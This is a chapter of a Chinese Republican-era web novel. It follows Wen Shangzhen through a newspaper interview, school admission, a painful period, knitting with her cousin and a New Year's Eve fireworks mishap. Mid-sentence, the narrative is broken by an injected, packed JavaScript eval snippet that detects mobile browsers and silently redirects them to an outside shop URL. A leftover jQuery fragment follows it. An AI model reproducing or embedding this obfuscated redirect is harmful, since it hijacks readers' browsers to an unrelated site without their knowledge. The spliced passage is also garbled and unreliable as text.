“姚先生?”温尚真脸冻得有些僵,她笑着打招呼,“好久不见!”
“尚小姐又一人在街上‘透气’?”姚竑呵出淡淡的白气,似给面容蒙了一层雾。
温尚真忽然露出个狡黠的笑容:“正为着姚先生需要的学历努力着!”
“哦?”姚竑微微挑眉,“去哪?我送你。”
“不了。”温尚真摇摇头,略顿了顿又问,“姚先生的报社离这里远么?”
“不远,就在前面那条街。”姚竑淡道。
“我能去看看么?”
他偏头点了点身旁:“上车。”
温尚真坐上副驾,竟觉得不似数月前那样逼仄了,看来还是先前太胖了。
车子启动后,风呼呼地灌进来,她打了个寒噤:“不关窗么?”
姚竑悠闲地开着车:“不是不喜欢关窗?”
“关上吧。”温尚真笑得有些尴尬,她冻得够够的了,疑心姚竑故意整她,“路程短,还能忍。”
姚竑默默摇上车窗。
温尚真忍不住问:“姚先生为什么要将窗户升降控制在你一个人手里?一车人总有意见不同的吧?有人喜欢开窗有人喜欢关窗。”
“是么?”姚竑看着前方,“可这是我的车。”
好吧好吧,看着挺斯文一个人,没想到这么强势,难怪商知乐受不了分手了,温尚真转过脸,对着窗外龇牙咧嘴。
一路沉默,二人很快便到了报社,下车后,一栋欧式三层连体楼房矗立眼前,还未踏进大门,门房那边便探头舒脑瞧过来。
姚竑一个眼风扫过去,那边立刻缩回了头。
进了厅,他漠然道:“你去找人事科吧,左转第三间。”
姚竑长腿一迈,三两步上了楼,不再管她。温尚真夹紧书包往左拐。
囫囵面试了一场,匆匆参观过报社后,温尚真也没同顶楼办公室的姚竑告辞,便踩着点往女子中学奔去,恰好唐玲和商知悦赶回来,三人一起坐着汽车回了商公馆。
霜天冻地,年节渐近了。
温尚真的小楼里没有热水汀,她在屋里冻得手脚冰寒,晚上还可以用汤婆子,白天她就绕着公馆走,走到身子不再僵冷了,远远瞧着商知慎走了,便钻进唐玲屋子里取暖。
屋中烘着暖香,温尚真看着唐玲,见她神色中带着一股慵懒的甜媚,岔开眼不敢多看。
唉,她也想要一个有暖气的房间,这样就不会不可避免地窥见别人的隐私了。
“尚珍小姐!”小荷一张脸红扑扑的,有些气喘,“快!老太太和太太喊您过去呢!”
“什么事?”唐玲接过一件巴黎哔叽夹袄,微微蹙眉。
小荷咽了咽:“好事!”
温尚真扬唇:“表姐你梳着妆吧,我自己去,无妨的。”
商老太太同商元帅商太太同住一幢楼。温尚真尚未进厅,便见商知悦蹦蹦跳跳地迎上来:“尚珍姐!你被录取了!”
温尚真也忍不住地咧开嘴:“是吗?”
“是!你来瞧瞧!”商老太太面上泛着光。
温尚真一个个问过好,才看到茶几上的大信封。
“瞧瞧吧!你的入学通知书。”老太太摸着手上的鎏金小暖壶。
三姨太太在旁笑道:“老太太真是慧眼识人!尚珍,老太太可算是你的伯乐了!”
温尚真扫了眼众人,商太太呷着茶,面上瞧不出来是高兴还是不高兴,商知悦一脸喜色,老太太面上的皱纹也舒展了几分,而商元帅的几位姨太太则是嘻嘻闹闹作看客。
她接过元妈妈递过来的大信封,信封早已被拆开了,温尚真本能地有些不喜,但现下不宜节外生枝,她边从里头抽出通知书,边笑道:“正是呢!老太太高瞻远瞩,太太从善如流,都是我的伯乐。”
“瞧瞧!瞧瞧!”三姨太太对四姨太笑道,“还未入学,说话便这样斯文了,可见是知悦这位小老师教得好!”
四姨太望着自己的亲生女儿,眯眼笑而不语。温尚真也看向商知悦,笑意真切了几分:“是,多亏了知悦指点迷津。”
厅中氛围好,不管内里怎样,面上瞧着总是一团和气。老太太抛出大段叮嘱的话,诸如不要在学堂里丢人,散了学莫乱走,有不懂的多向知悦学习之类的。
“三哥!”商知悦一声高呼,吸走了所有目光,温尚真也望了过去。
“知予回来了!”老太太招了招手,“你来看,尚珍要同知悦一起上学堂念书了。”
温尚真一阵无语,这老太太怎么回事?又不是考上大学了,就算考上大学了也没必要这样热情地告知商知予吧?
果然,商知予越过她,就像越过一团空气,开口带了几分屋外的寒气:“奶奶,母亲。父亲在楼上么?”
“在的。”商太太满脸慈爱,“你爸爸在书房呢!”
商知予点点头,抬腿上了楼。
厅中不知不觉降了几度,方才的和谐气氛再难续上,温尚真早已收好通知书,她微笑道:“我回去温习功课了,免得开学了落后于人。”
这也不是教辅资料堆成山的年代,哪有那么多功课要温习?商家上下忙着准备年节,温尚真却彻底闲了下来,她便开始专心减肥。
夜间脱衣裳上床睡觉时,她才陡然惊觉自己真是瘦了不少,她飞快地照了照镜子,那镜子只有半截,照不全,不过也能看出来的确是瘦下来了,之前还圆成一团瞧不出身形,现在能大致分辨出胸腰臀了。
温尚真搓了搓手臂,环抱着钻进了被中,没有手机的世界,早睡早起已经是一件不需要自律的事。
第二天,就乐而生悲了。
温尚真来例假了。
自她醒后这数月,一次也没来过,现在又突然来了,来得轰轰烈烈欲生欲死。床单上染了一片,温尚真用拳头抵着腹部,在屋里找了半天也没找到卫生棉或者类似功用的东西,她忍不住痛吟出声。
“尚珍小姐!”小荷敲了敲门,“用早饭了!”
温尚真开了个门缝,青白着嘴唇:“小荷,我来月事了,该怎么办?”
温尚真来一场月事,将屋中变成了凶案现场,最后还是唐玲女士带着崭新的月事带和草纸棉花来救她了。只是虽然勉强算洁净了,那一阵阵的痛意却未消散,这屋里又冷,连唐玲都不住地冷颤,边抱怨边将她带回那有热水汀的屋子。
“你那屋子也太冷了!”唐玲忙给自己倒了杯热茶,“不如搬去知悦那边吧!几个小的还跟着姨太太呢,那栋楼里就知悦两姊妹。”
温尚真站不住,寻了个软皮的小圆凳坐下,慢了好几拍地道:“不用了吧,过完年就好了。”只要不是被囚禁在商公馆,她现在还挺喜欢那种没人打扰的安静。
一直这样直愣愣地忍痛也难受,温尚真鼻中一声微弱痛哼:“表姐,你教我织毛衣吧。”
织毛衣还真有些用,织着织着好像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17928250|213567||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就没那么痛了,以至于商知悦来找她时,两人还凑在一处研究起针织来。
温尚真是有几分感激商知悦的,“知悦,我给你织条围巾作束脩吧。”
商知悦咯咯笑道:“围巾我有,礼物我也不缺,不过你说作束脩,我自是要笑纳的。”
唐玲看着两人愈发亲近,在一旁撇嘴哼道:“你倒会借花献佛,拿着我的针线送别人!”
温尚真嘻嘻一笑:“表姐也有,不要吃醋了。”
“谁吃醋了!”唐玲点她脑门。
“你送我礼物,那我也要送你新年礼才是。”商知悦晃着脚,“正月初四王总长家里会有一场舞会,我便送你一条礼服裙吧!”
“又是王总长家里?”唐玲撇了撇嘴。
温尚真挑眉:“舞会?我也要去吗?”
“呀!新年的舞会多的是,你总是需要一条的!”商知悦顿了顿,“不过,还是要请你去三姨太那里量一量,她大约估不准......”
她知道,她的身材都不好捡别人的旧衣服穿,非得要量体裁衣才行,温尚真有些好奇:“三姨太还会做这些呢?”
“自然,三姨太爱逛百货大楼,每每看着那些西洋装就挪不动步,只是她说自己穿那些不像话,暗地里攒下钱,买了台缝纫机,只给家里几个小囡囡做衣裳,这回还是我送了她好些布,才答应的。”
温尚真点点头,“那我可占了便宜了。”
温尚真织着围巾,很快便到了年下,商公馆里愈发忙了起来,丫头妈妈们洒抹门窗庭院,仆佣穿梭如同赛跑一般,她不好再做个闲人绕着公馆走,恰好商太太令人来打扫她这栋小楼,她便自己清扫房间。
转眼就是除夕。
商家白日要祭祖,温尚真身份尴尬,打起床便没有出过屋,小荷大约也是忙忘了,直到午饭时间才姗姗来迟:“尚珍小姐,这些日实在忙,真是对不住。不过夜间的团圆饭还是要一起用的,方才二姨奶奶还问起呢,老夫人说是没有单独冷落客人的道理。”
温尚真眉头一松,将她放在客人的位子上,她反倒自在些,“好,我午睡后就过去。”
谁知这一睡,睡到天有些擦黑了,醒时见窗外已是昏昏沉沉,不由得漫上一股寂寥来,其实她在哪里都是孤独的一个人,这也不是她第一次客居异乡独自过年,想着想着,又有些想念面包了。
拥着被呆呆坐了一会儿,她穿衣梳洗,前往主楼。
除夕是老爷太太们的除夕,可不是仆佣的除夕,无论是丫头妈妈还是听差小子,都忙得脚后跟打后脑勺,没人在乎温尚真的来去行踪,那楼前的松柏上都缠了葡萄大小的五彩灯泡,玻璃长廊下挂了一排长龙似的电灯花球。
厅前的坪地上铺满了花爆,想来是一会儿要放烟花庆祝。两个五六岁的男孩在其中追逐打闹,温尚真不记得他们是哪个姨太太生的了,不过她对小孩无甚兴趣,跟他们也不熟,便掠过他们往前走。
没一会儿,忽听得一声巨响,温尚真被吓得心口一炸,回头看,见仆佣匆匆将两个男孩挟抱逃开,却意外将男孩点燃的花盒子带倒了。
烟花比温尚真的反应更快,她瞳孔一缩,惊吓的表情尚未转为惊恐,便见一个光束朝她射过来。
说是抱头鼠窜也不为过,温尚真花着眼往厅里跑。
便在厅门迎面撞上一道冷冰冰的军绿色,温尚真想也未想,将之猛地往门后推。
“别去!”